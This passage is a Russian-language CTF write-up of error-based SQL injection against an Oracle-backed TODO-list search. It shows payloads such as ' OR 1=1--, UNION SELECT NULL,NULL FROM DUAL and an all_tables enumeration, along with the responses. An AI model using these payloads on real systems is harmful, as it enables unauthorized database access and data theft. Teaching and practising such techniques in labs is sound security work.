Вводная информация: с самого начала известно, что таск связан с SQL инъекцией, и используется СУБД Oracle.
При открытии сайта, нас встречает реализация TODO-списка задач с поисковой строкой.
Если попробовать ввести '
, то вернется ошибка Error: DPY-2041: missing ending quote (')
. Из чего делаем вывод, что это error-based SQLi.
При подстановке классического payload ' OR 1=1--
нам возвращаются все элементы таблицы:
<li>Create tables in this db | done: 1</li>
<li>Create tables in another db | done: 1</li>
<li>Have lunch | done: 1</li>
<li>Restrict network permissions | done: 0</li>
Этот список TODO ещё пригодится в будущем.
Далее определяем количество столбцов и тип данных для дополнительного запроса через UNION
. Т.к. нам известно, что используется СУБД Oracle, то запросы будут иметь свои особенности. В Oracle каждый запрос SELECT
должен использовать ключевое слово FROM
и указывать допустимую таблицу. В Oracle существует встроенная таблица dual
, которая может быть использована для этой цели.
Таким образом, увеличивая количество NULL
до тех пор, пока не пропадет ошибка, запрос будет выглядеть следующим образом:
' UNION SELECT NULL,NULL FROM DUAL--
В ответ нам вернется прошлый TODO список + один новый элемент:
<li>Create tables in another db | done: 1</li>
<li>Create tables in this db | done: 1</li>
<li>Have lunch | done: 1</li>
<li>Restrict network permissions | done: 0</li>
<li>None | done: None</li>
Первый элемент выглядит текстовым, а второй числовым. Проверить это можно подставляя вместо NULL
строковое и числовое значение.
Далее, учитывая особенности СУБД Oracle, можно посмотреть таблицы в БД:
' UNION SELECT table_name,NULL FROM all_tables--
<p>Found TODOs:</p>
<ul>
<li>ACL$_OBJ | done: None</li>
<li>ALL_CHUNKS | done: None</li>
<li>ALL_UNIFIED_AUDIT_ACTIONS | done: None</li>
<li>APP_ROLE_MEMBERSHIP | done: None</li>
...
В ответ возвращается большое количество таблиц. Мы так же можем посмотреть колонки любой из таблиц: